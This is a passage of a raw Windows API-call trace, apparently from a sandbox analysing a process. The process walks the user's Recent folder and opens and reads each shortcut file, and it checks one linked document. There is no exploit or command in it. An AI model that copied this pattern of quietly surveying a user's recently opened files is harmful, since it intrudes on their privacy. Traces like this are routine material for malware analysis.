HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk") returned 1 [0076.518] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\0yRPUT6TDREHeWByR4rP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk") returned 1 [0076.518] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk", len=0x5f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk") returned 1 [0076.518] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk") returned 1 [0076.518] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0yrput6tdrehewbyr4rp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.518] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xf0a [0076.518] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c0dc, nNumberOfBytesToRead=0xf0a, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c0dc*, lpNumberOfBytesRead=0x18e2f8*=0xf0a, lpOverlapped=0x0) returned 1 [0076.519] CloseHandle (hObject=0x3f8) returned 1 [0076.519] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.519] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e319260, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e319260, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e319260, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="1dRMBdJ8JilqvY.lnk", cAlternateFileName="1DRMBD~1.LNK")) returned 1 [0076.519] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1dRMBdJ8JilqvY.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1dRMBdJ8JilqvY.lnk") returned 1 [0076.519] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1dRMBdJ8JilqvY.lnk", len=0x5a | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1dRMBdJ8JilqvY.lnk") returned 1 [0076.519] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1dRMBdJ8JilqvY.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1dRMBdJ8JilqvY.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1dRMBdJ8JilqvY.lnk") returned 1 [0076.519] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk", len=0x59 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk") returned 1 [0076.520] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1dRMBdJ8JilqvY.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk") returned 1 [0076.520] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk", len=0x59 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk") returned 1 [0076.520] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk") returned 1 [0076.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1drmbdj8jilqvy.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.520] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xa63 [0076.520] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c13c, nNumberOfBytesToRead=0xa63, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c13c*, lpNumberOfBytesRead=0x18e2f8*=0xa63, lpOverlapped=0x0) returned 1 [0076.521] CloseHandle (hObject=0x3f8) returned 1 [0076.521] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.521] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bcb6fa0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9bcb6fa0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9bcb6fa0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="1KRW.lnk", cAlternateFileName="")) returned 1 [0076.521] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1dRMBdJ8JilqvY.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1KRW.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1KRW.lnk") returned 1 [0076.521] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1KRW.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1KRW.lnk") returned 1 [0076.521] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1KRW.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1KRW.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1KRW.lnk") returned 1 [0076.521] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk") returned 1 [0076.521] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1KRW.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk") returned 1 [0076.521] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk") returned 1 [0076.521] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk") returned 1 [0076.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1krw.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.522] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x3d7 [0076.522] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c08c, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c08c*, lpNumberOfBytesRead=0x18e2f8*=0x3d7, lpOverlapped=0x0) returned 1 [0076.522] CloseHandle (hObject=0x3f8) returned 1 [0076.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1KRW.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1krw.docx"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.523] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0x173b7 [0076.523] CloseHandle (hObject=0x3f8) returned 1 [0076.523] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3b17e0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e3b17e0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e3b17e0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x150b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1L3e.lnk", cAlternateFileName="")) returned 1 [0076.523] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KRW.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1L3e.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1L3e.lnk") returned 1 [0076.523] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1L3e.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1L3e.lnk") returned 1 [0076.523] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1L3e.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1L3e.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1L3e.lnk") returned 1 [0076.523] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk") returned 1 [0076.523] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1L3e.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk") returned 1 [0076.523] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk") returned 1 [0076.523] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk") returned 1 [0076.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1l3e.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.523] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x150b [0076.524] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c0bc, nNumberOfBytesToRead=0x150b, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c0bc*, lpNumberOfBytesRead=0x18e2f8*=0x150b, lpOverlapped=0x0) returned 1 [0076.524] CloseHandle (hObject=0x3f8) returned 1 [0076.525] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.525] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b94b000, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e25ab80, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e25ab80, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x196e, dwReserved0=0x0, dwReserved1=0x0, cFileName="1lVVKbf-aOgvA-CAW_mM.lnk", cAlternateFileName="1LVVKB~1.LNK")) returned 1 [0076.525] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1L3e.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1lVVKbf-aOgvA-CAW_mM.lnk", len=0x60 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1lVVKbf-aOgvA-CAW_mM.lnk") returned 1 [0076.525] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1lVVKbf-aOgvA-CAW_mM.lnk", len=0x60 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1lVVKbf-aOgvA-CAW_mM.lnk") returned 1 [0076.525] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1lVVKbf-aOgvA-CAW_mM.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1lVVKbf-aOgvA-CAW_mM.lnk", len=0x60 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1lVVKbf-aOgvA-CAW_mM.lnk") returned 1 [0076.525] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk", len=0x5f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk") returned 1 [0076.526] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\1lVVKbf-aOgvA-CAW_mM.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk") returned 1 [0076.526] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk", len=0x5f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk") returned 1 [0076.527] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk") returned 1 [0076.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1lvvkbf-aogva-caw_mm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.527] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x196e [0076.527] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c0dc, nNumberOfBytesToRead=0x196e, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c0dc*, lpNumberOfBytesRead=0x18e2f8*=0x196e, lpOverlapped=0x0) returned 1 [0076.528] CloseHandle (hObject=0x3f8) returned 1 [0076.528] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.528] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3c64c0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d3c64c0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d3c64c0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="29qIuqRP.lnk", cAlternateFileName="")) returned 1 [0076.528] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1lVVKbf-aOgvA-CAW_mM.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\29qIuqRP.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\29qIuqRP.lnk") returned 1 [0076.528] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\29qIuqRP.lnk", len=0x54 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\29qIuqRP.lnk") returned 1 [0076.528] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\29qIuqRP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\29qIuqRP.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\29qIuqRP.lnk") returned 1 [0076.528] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk", len=0x53 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk") returned 1 [0076.528] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\29qIuqRP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk") returned 1 [0076.528] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk", len=0x53 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk") returned 1 [0076.528] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk") returned 1 [0076.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\29qiuqrp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.528] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x14ef [0076.529] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c130, nNumberOfBytesToRead=0x14ef, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c130*, lpNumberOfBytesRead=0x18e2f8*=0x14ef, lpOverlapped=0x0) returned 1 [0076.529] CloseHandle (hObject=0x3f8) returned 1 